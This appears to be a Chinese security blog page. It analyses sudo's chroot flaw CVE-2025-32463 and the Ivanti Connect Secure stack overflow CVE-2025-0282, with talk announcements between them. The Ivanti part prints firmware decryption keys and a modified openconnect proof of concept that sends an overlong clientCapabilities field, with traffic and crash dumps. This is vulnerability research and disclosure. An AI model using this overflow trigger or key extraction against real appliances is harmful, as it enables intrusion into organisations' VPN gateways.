  if (handle == NULL)
    {
      /* dlopen failure.  We do not know if this a temporary or
         permanent error.  See bug 22041.  Update the state using the
         double-checked locking idiom.  */
      __libc_lock_lock (nss_module_list_lock);
      bool result = result;
      switch ((enum nss_module_state) atomic_load_acquire (&module->state))
        {
        case nss_module_uninitialized:
          atomic_store_release (&module->state, nss_module_failed);
          result = false;
          break;
        case nss_module_loaded:
          result = true;
          break;
        case nss_module_failed:
          result = false;
          break;
        }
      __libc_lock_unlock (nss_module_list_lock);
      return result;
    }
  nss_module_functions_untyped pointers;
  /* Look up and store locally all the function pointers we may need
     later.  Doing this now means the data will not change in the
     future.  */
  for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
    {
      char *function_name;
      if (__asprintf (&function_name, "_nss_%s_%s",
                      module->name, nss_function_name_array[idx]) < 0)
        {
          /* Definitely a temporary error.  */
          __libc_dlclose (handle);
          return false;
        }
      pointers[idx] = __libc_dlsym (handle, function_name);
      free (function_name);
      PTR_MANGLE (pointers[idx]);
    }

复现

Patched

修复 commit ^[5]：

--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
 int
 set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
 {
-    struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
     const char *cmnd_in;
     char *cmnd_out = NULL;
     char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
     if (def_secure_path && !user_is_exempt(ctx))
        path = def_secure_path;

-    /* Pivot root. */
-    if (runchroot != NULL) {
-       if (!pivot_root(runchroot, &pivot_state))
-           goto error;
-    }
-
-    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
     if (ret == FOUND) {
        char *slash = strrchr(cmnd_out, '/');
        if (slash != NULL) {
@@ -1122,14 +1115,8 @@
     else
        ctx->user.cmnd = cmnd_out;

-    /* Restore root. */
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
-
     debug_return_int(ret);
 error:
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
     free(cmnd_out);
     debug_return_int(NOT_FOUND_ERROR);
 }

删除了 pivot_root ，以及看后续似乎要 deprecated chroot ^[6] ：

思考

这个漏洞有一个很巧合的地方，如果当pivot_root之后，调用到的第一个nss_database_check_reload_and_get 的第三个参数 database_index 不是 nss_database_initgroups , 且默认 nss_database_initgroups 初始化就是空，那么就会走到 reload_disabled 的地方并且返回，那么之后就根本不会再读取 nsswich.conf。

我们去跟了下 libc 对 nss_database 初始化的变更 ^[4], 上一次的更改在五年前，但是这个漏洞是在 23 年引入的。目前看起来没什么特别的大关联，应该就是特别特别的巧合。。。

Reference link

1.https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot ↩
2.https://codebrowser.dev/glibc/glibc/nss/nss_database.c.html#nss_database_check_reload_and_get ↩
3.https://codebrowser.dev/glibc/glibc/nss/getXXent_r.c.html#122 ↩
4.https://github.com/bminor/glibc/commit/fa78feca47fdc226b46e7f6fea4c08c10fccd182 ↩
5.https://github.com/sudo-project/sudo/commit/fdafc2ceb36382b07e604c0f39903d56bef54016#diff-6a3fc5e12751032d02db8970967b688eab54525c326699010870b3ffca2b6541 ↩
6.https://github.com/sudo-project/sudo/commit/bc88e5cbd3b41196cac727855e2446a02dfba51e ↩

议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security

2025-05-18T16:00:00.000Z

…

前言

这个议题于2025年5月8日在新加坡举办的Off-By-One Conference上分享。

大致的议题介绍：

Asus, as a leading consumer electronics manufacturer, offers a wide range of IoT devices, but its router products have historically faced significant challenges in security, including critical vulnerabilities such as the cfgserver issue in the Tianfu Cup and the httpd authentication bypass vulnerability. These incidents reveal potential shortcomings in the security design of ASUS router products.

This presentation will provide a systematic attack surface analysis of ASUS router devices, focusing on a review of some key historical vulnerabilities and a deep dive into the lighttpd component within the aicloud service to identify potential security risks. Our analysis will cover multiple vulnerabilities and their associated remote code execution (RCE) vulnerability chains, assess their impact scope and potential consequences, and offer recommendations for future improvements.

……

公开 slide

这里公开 slide ，感兴趣的同学可以自行阅读

议题分享：企业设备安全设备漏洞分析与利用

2025-03-31T16:00:00.000Z

…

前言

这个议题内容在 2024年10月10日的华为 “安全光网”网络安全技术论坛和 2024年11月9日的先知沙龙-北京站分享过。

当时北京沙龙为了篇幅砍了很多 slide 的页数，这次分享是比较完整的 95 页（做太多了…), 主要的内容是从各个类型的安全设备切入，分析他们的攻击面以及一些公开的 1day的漏洞分析，主要大纲如下：

安全邮件网关
网关
防火墙
VPN设备

……

公开 slide

这里公开 slide ，感兴趣的同学可以自行阅读

议题分享：Vigor2960 Memoirs Pursuit of the Elusive 0day & 1day

2025-03-06T16:00:00.000Z

…

前言

2024年9月因为360车联网安全研究院副院长曹颖杰的关系，受到邀请去了长沙信息物理系统安全技术沙龙水了一个议题，主要是之前对 draytek 2960的漏洞挖掘回顾和一个囤了很久，但是后面被修了的一个漏洞部分详情披露。（PS 这个洞的逻辑后来我出成了华为CTF的某个Pwn题）

公开 slide

这里公开 PPT ，感兴趣的同学可以自行阅读

说起来这个洞，之前就已经有个大哥在他博客也提到了，还是太容易被发现了。另外感叹一句长沙还是挺好玩的。

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析

2025-01-28T16:00:00.000Z

…

TL; DR

2025年（暨蛇年）第一篇博客文章，顺便祝我的博客读者新春快乐吧。

1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警：

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/

1月10日 watchtowr 就发布了漏洞分析

https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

1月10日我也发了我的漏洞复现推特： https://x.com/bestswngs/status/1877715807506952486

这次 diff版本2.3 build 3431 和 2.5，特意留到了除夕夜发这篇文章..

固件提取

这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助，具体流程如下：

添加磁盘到虚拟机里后，用 lvdisplay 可以看到几个分区

──(root㉿kali)-[/home/kali/Desktop]
└─# lvdisplay
  --- Logical volume ---
  LV Path                /dev/groupA/home
  LV Name                home
  VG Name                groupA
  LV UUID                vPWDHH-AlTq-GvBS-UAnf-orT1-yT2d-TdbWyK
  LV Write Access        read/write
  LV Creation host, time (none), 2025-01-09 17:28:21 -0500
  LV Status              NOT available
  LV Size                <4.87 GiB
  Current LE             1246
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
   
  --- Logical volume ---
  LV Path                /dev/groupA/runtime
  LV Name                runtime
  VG Name                groupA
  LV UUID                dFDVOl-kYQR-J3N5-3HNC-toXc-9947-sj0yzc
  LV Write Access        read/write
  LV Creation host, time (none), 2025-01-09 17:28:39 -0500
  LV Status              NOT available
  LV Size                <19.46 GiB
  Current LE             4981
  Segments               2
  Allocation             inherit
  Read ahead sectors     auto
   
  --- Logical volume ---
  LV Path                /dev/groupZ/home
  LV Name                home
  VG Name                groupZ
  LV UUID                cOTBS1-oaYw-PlAt-puTS-Uvq5-6C91-pK6QHK
  LV Write Access        read/write
  LV Creation host, time (none), 2024-10-07 06:47:49 -0400
  LV Status              NOT available
  LV Size                6.72 GiB
  Current LE             1721
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto

可以看到这几个都是 lvm2 加密的，没法直接 mount

┌──(root㉿kali)-[/home/kali/Desktop]
└─# fdisk -l
Disk /dev/sdb: 80.09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc45d0b27

Device     Boot Start       End   Sectors  Size Id Type
/dev/sdb1  *     2048 167968749 167966702 80.1G 83 Linux


Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1           16065    224909    208845  102M 83 Linux
/dev/sda2          224910    433754    208845  102M 83 Linux
/dev/sda3          449820    658664    208845  102M 83 Linux
/dev/sda4          674730 167766794 167092065 79.7G 85 Linux extended
/dev/sda5          674731  14779799  14105069  6.7G 83 Linux
/dev/sda6        14779801  30089744  15309944  7.3G 83 Linux
/dev/sda7        30089746  65802239  35712494   17G 83 Linux
/dev/sda8        65802241  81112184  15309944  7.3G 83 Linux
/dev/sda9        81112186 116824679  35712494   17G 83 Linux
/dev/sda10      116824681 132134624  15309944  7.3G 82 Linux swap / Solaris
/dev/sda11      132134626 167766794  35632169   17G 83 Linux
                                                                                                                                                            
┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/groupZ/home /mnt/runtime
                                                                                                                                                            
┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/sda1 /mnt/runtime       
                                                                                                                                                            
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls /mnt/runtime 
boot.b  compact-file  coreboot.img  disksize  grub  kernel  log_coreboot  lost+found  VERSION

我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img，可以看看到 coreboot.img 作为initrd

└─# cat /mnt/runtime/grub/grub.cfg 
set default=0
set timeout=5
insmod ext2
password 07ow3w3d743
serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
menuentry "Current" {
set root=(hd0,2)
    linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware   
    initrd /coreboot.img
}
menuentry "Factory Reset" {
set root=(hd0,1)
    linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware   
    initrd /coreboot.img
}

decrypt

coreboot.img 作为initrd

我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了，在 kernel中populate_rootfs里面写死密钥的AES解密

>>> DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA")
>>>
>>> realkey = strxor(DRAMFS_AES_KEY[:4][::-1], bytes.fromhex('99ED2BF2'))[::-1]
  2 realkey += strxor(DRAMFS_AES_KEY[4:8][::-1], bytes.fromhex('AEEF41FE'))[::-1]
  3 realkey += strxor(DRAMFS_AES_KEY[8:12][::-1], bytes.fromhex('141058C7'))[::-1]
  4 realkey += strxor(DRAMFS_AES_KEY[12:16][::-1], bytes.fromhex('D2ED180E'))[::-1]
>>> realkey
b'\xe1\xfc^\xb7\xd8AX\xda\xba\xd8\xeb\xbc\xf6\xcd*\x18'

binary ninja 带有神奇的优化，

优化出来就是异或完的

ffffffff826d0815            int64_t initrd_start_3 = initrd_start;
ffffffff826d081c            int32_t initrd_end_1 = (*(uint32_t*)initrd_end);
ffffffff826d082e            int64_t* rax_1 = crypto_alloc_base("aes", 0, 0);
ffffffff826d0833            uint64_t i = (uint64_t)(initrd_end_1 - initrd_start_3);
ffffffff826d083f            int64_t rcx_1;
ffffffff826d083f            int64_t rdx_1;
ffffffff826d083f            int64_t r8_1;
ffffffff826d083f            
ffffffff826d083f            if (rax_1 <= -0x1000)
ffffffff826d083f            {
ffffffff826d0875                int32_t var_6c_1 = 0xda5841d8;
ffffffff826d0889                int32_t var_70 = 0xb75efce1;
ffffffff826d088c                int32_t var_68_1 = 0xbcebd8ba;
ffffffff826d088f                int32_t var_64_1 = 0x182acdf6;
ffffffff826d089b                rcx_1 = rax_1[1](rax_1, &var_70, 0x10);
ffffffff826d089f                int32_t rax_2 = 0;

通过简单的逆向，我们很快就可以写出一份解密代码，我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53]
$ file out2.bak
out2.bak: gzip compressed data, last modified: Sat Oct  5 17:32:45 2024, max compression, from Unix, original size modulo 2^32 118361088

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:49]
$ gzip -d out2.gz

$ file out2
out2: ASCII cpio archive (SVR4 with no CRC)

cpio 解出来的目录结构如下：

1
2
3

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34]
$ ls
bin     dash    dev     etc     gzip    insmod  lib     modules out2    rmmod   sbin    tmp     usr

etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘

1 2	sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home sudo mount /dev/mapper/groupA_home /mnt/disk1

shell 获取

/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项

这里就是会调用 sub shell {} 方法

sub shell {
  return "" if (!DSSys::isDebugBuild());
  print "set DISPLAY variable if you want to start an xterm\n";

  my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;
  DSSafe::system("$install/bin/dsshell");

  return "";
}

通过简单逆向这个程序，我们就很快能获得一个带有调试功能的固件了（具体操作留给读者了，很简单）

CVE-2025-0282

Diff patched

可以看到这里新加了一个长度判断，之前存在栈溢出

memset(dest, 0, sizeof(dest));
strncpy(dest, *(const char **)(a1 + 140), v23);
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
  LOBYTE(v24) = 44;
  v57 = 0;
  v25 = (__int16 *)&v58;
}

PoC

最早的poc构造是根据 watchtowr 的文章，魔改 openconnect^[1] 的 pulse.c 代码

if (bytes[0])
        buf_append(reqbuf, " clientIp=%s", bytes);
+ buf_append(reqbuf, " clientCapabilities=%s", bytes);
+ for(unsigned int n=0; n<100; n++)
+       buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);

编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads

1	/configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4

poc

$ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv
Attempting to connect to server 172.16.64.222:443
Connected to 172.16.64.222:443
SSL negotiation with 172.16.64.222
Server certificate verify failed: signer not found

Certificate from VPN server "172.16.64.222" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
    --servercert pin-sha256:4fW+U987xNSV4e/eojrHz/Cr1pGxIIF0lraaXwBKQ2A=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 172.16.64.222 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
> GET / HTTP/1.1
> Host: 172.16.64.222
> User-Agent: Open AnyConnect VPN Agent v9.12-unknown
> Content-Type: EAP
> Upgrade: IF-T/TLS 1.0
> Content-Length: 0
>
Got HTTP response: HTTP/1.1 101 Switching Protocols
Content-type: application/octet-stream
Pragma: no-cache
Upgrade: IF-T/TLS 1.0
Connection: Upgrade
HC_HMAC_VERSION_COOKIE: 1
supportSHA2Signature: 1
Strict-Transport-Security: max-age=31536000
accept-ch: Sec-CH-UA-Platform-Version
> 0000:  00 00 55 97 00 00 00 01  00 00 00 14 00 00 00 00  |..U.............|
> 0010:  00 01 02 02                                       |....|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 02  00 00 00 14 00 00 01 f5  |..U.............|
< 0010:  00 00 00 02                                       |....|
IF-T/TLS version from server: 2
> 0000:  00 00 0a 4c 00 00 00 88  00 00 06 a1 00 00 00 01  |...L............|
> 0010:  63 6c 69 65 6e 74 48 6f  73 74 4e 61 6d 65 3d 75  |clientHostName=u|
> 0020:  62 75 6e 74 75 20 63 6c  69 65 6e 74 49 70 3d 31  |buntu clientIp=1|
> 0030:  39 38 2e 31 39 2e 32 34  39 2e 31 38 38 20 63 6c  |98.19.249.188 cl|
> 0040:  69 65 6e 74 43 61 70 61  62 69 6c 69 74 69 65 73  |ientCapabilities|
> 0050:  3d 31 39 38 2e 31 39 2e  32 34 39 2e 31 38 38 41  |=198.19.249.188A|
> 0060:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0070:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0080:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0090:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0100:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0110:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0120:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0130:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0140:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0150:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0160:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0170:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0180:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0190:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0200:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0210:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0220:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0230:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0240:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0250:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0260:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0270:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0280:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0290:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0300:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0310:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0320:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0330:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0340:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0350:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0360:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0370:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0380:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0390:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0400:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0410:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0420:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0430:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0440:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0450:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0460:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0470:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0480:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0490:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0500:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0510:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0520:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0530:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0540:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0550:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0560:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0570:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0580:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0590:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0600:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0610:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0620:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0630:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0640:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0650:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0660:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0670:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0680:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0690:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 0a  |AAAAAAAAAAAAAAA.|
> 06a0:  00                                                |.|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 05  00 00 00 14 00 00 01 f6  |..U.............|
< 0010:  00 0a 4c 01                                       |..L.|
> 0000:  00 00 55 97 00 00 00 06  00 00 00 22 00 00 00 02  |..U........"....|
> 0010:  00 0a 4c 01 02 01 00 0e  01 61 6e 6f 6e 79 6d 6f  |..L......anonymo|
> 0020:  75 73                                             |us|

可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出

free 的崩溃现场

Program received signal SIGSEGV, Segmentation fault.
eax            0x0      0
edi            0xff856370       -8035472
esi            0x1      1
edx            0xf1a8d004       -240594940
=> 0xf4f73d1d :        mov    esi,DWORD PTR [ecx-0x4]
   0xf4f73d20 :        lea    edx,[ecx-0x8]
   0xf4f73d23 :        test   esi,0x2
   0xf4f73d29 :        jne    0xf4f73d58 
   0xf4f73d2b :        and    esi,0x4
0xff856110:     0x56723200      0x566dd509      0x566ecbc7      0xf4f73cf8
0xff856120:     0xf7a26000      0x00000001      0xff856370      0xf6d6535f
0xff856130:     0x41414141      0x00000032      0xf7f3abc9      0x5671d000
0xff856140:     0x5671d000      0x56723200      0x00000001      0x5669a4e8
0xff856150:     0xff856370      0x00000289      0x566ed87c      0x566d7c7f
0xf4f73d1d in free () from /lib/libc.so.6
(gdb) bt
#0  0xf4f73d1d in free () from /lib/libc.so.6
#1  0xf6d6535f in DSUtilMemPool::~DSUtilMemPool() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#2  0x5669a4e8 in ?? ()
#3  0x5669ae7b in ?? ()
#4  0xf5fd0565 in IftTlsParser::parse(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
